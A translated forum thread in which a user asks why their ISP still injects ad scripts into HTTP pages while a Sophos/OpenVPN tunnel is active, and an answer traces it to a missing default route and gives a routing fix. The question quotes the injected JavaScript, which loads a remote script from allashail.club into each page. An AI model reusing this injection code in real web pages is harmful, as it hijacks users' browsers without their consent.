Назад | Перейти на главную страницу

Предотвращение внедрения скриптов от провайдера (анализатора прокси) через VPN

Я использую Sophos SSL VPN Client. Но я использую BSNL ISP. Всякий раз, когда я подключаюсь к своей VPN и просматриваю любые незащищенные HTTP-сайты, ADS вводится в файл сценария JS. Но когда я отключаю VPN и просматриваю любые незащищенные веб-сайты. Внедрение сценария не происходит, и ADS не отображается

Но мой вопрос в том, как мой ISP BSNL распознает, что я просматриваю незащищенный веб-сайт после подключения к безопасному туннелю. Так что весь маршрутизируемый сетевой трафик будет зашифрован. Но как они используют Network Proxy Analyzer для внедрения скрипта?

Здесь вы найдете журнал при подключении к VPN

OpenVPN 2.3.8 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [IPv6] built on Jul  3 2017
library versions: OpenSSL 1.0.2l  25 May 2017, LZO 2.09

Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Encrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Decrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 2048 bit RSA

Скрипт (JS)

!function() {
    var a = "/analytics.js"
      , r = null
      , e = document.getElementsByTagName("script")
      , i = e.length
      , n = null
      , t = Date.now()
      , s = null
      , o = 0;
    for ("/" === a.substring(0, 1) && (a = a.substring(1)),
    o = 0; o < i; o += 1)
        if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
            n = o,
            r = e[o];
            break
        }
    void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
    s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
    try {
        if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
            void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
            window.sarazasarazaNoti.push(r.src);
            var c = r.parentNode
              , d = r;
            if (r.async || r.defer || null !== n && n !== e.length - 1) {
                var w = document.createElement("script");
                w.src = s,
                c.replaceChild(w, d)
            } else
                document.write("<script type='text/javascript' src=" + s + "><\/script>"),
                c.removeChild(d)
        }
    } catch (a) {}
}();
document.addEventListener('DOMContentLoaded', function() {
    var esp = document.createElement('span');
    var esr = document.createElement('script');
    esr.src = 'http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2';
    esr.type = 'text/javascript';
    esp.appendChild(esr);
    document.body.appendChild(esp);
}, false);

HTML (внедрение скрипта)

<html>
   <head>
      <script src="http://www.google-analytics.com/analytics.js?cb=1585885601053&amp;fingerprint=c2VwLW5vLXJlZGlyZWN0&amp;onIframeFlag"></script>
   </head>
   </body>
   <span>
      <script src="http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2" type="text/javascript"></script>
   </span>
   </body>
</html>

Конфигурация OpenVPN

client
dev tun
proto tcp
verify-x509-name "OU=Domain Control Validated, CN=*.domain.com"
route remote_host 255.255.255.255 net_gateway
resolv-retry infinite
nobind
persist-key
persist-tun
<ca>
Bag Attributes: <No Attributes>
subject=/C=BE/O=GlobalSign nv-sa/CN=XXXSSL CA - SHA256 - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</ca>
<cert>
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
</key>
auth-user-pass pass.txt
cipher AES-128-CBC
auth SHA256
comp-lzo no
route-delay 4
verb 3
reneg-sec 86400

remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443

Чтобы установить безопасное соединение. Как нам нужно настроить мой Sophos SSL VPN Client с использованием протокола OpenVPN

... мой вопрос в том, как мой ISP BSNL распознает, что я просматриваю незащищенный веб-сайт после подключения к безопасному туннелю ...

Глядя на вашу таблицу маршрутизации (после того, как VPN включен), трафик в более широкий Интернет по-прежнему идет через вашего провайдера, а не через ваш туннель, поэтому ваш провайдер может его перехватить.

Если вы посмотрите, ваш «шлюз по умолчанию» (строка 0.0.0.0 сетевая маска 0.0.0.0 со шлюзом 192.168.43.1) одинаков как в строке 13 - до VPN, так и в строке 53 - после VPN. Кажется, что VPN добавляет маршруты, но все эти маршруты очень специфичны и не маршрутизируются в Интернете. Например, не существует более определенного маршрута для 8.8.8.8 или большинства других интернет-адресов. Похоже, ваш VPN-провайдер либо не предлагает вам маршрут по умолчанию, либо ваша сторона не принимает его, и это основная проблема.

Есть несколько способов исправить это. Один из них - добавить следующие 2 строки в файл конфигурации и перезапустить VPN:

  route 0.0.0.0 128.0.0.0
  route 128.0.0.0 128.0.0.0

Эти 2 строки будут соответствовать всему пространству IPV4 (0.0.0.0 - 127.255.255.25 и 128.0.0.0 - 255.255.255.255), и комбинированный эффект эквивалентен добавлению шлюза по умолчанию, который предпочтительнее существующего, поскольку он состоит из большего количества конкретные маршруты.

В случае успеха 2 новых маршрута будут добавлены в вашу таблицу маршрутизации при создании VPN-соединения и будут удалены при его остановке.

(В настоящее время у вас нет маршрута по умолчанию для IPv6, но если ваша система изменится так, как вы, вам нужно будет обновить свой VPN, чтобы он также работал с IPV6)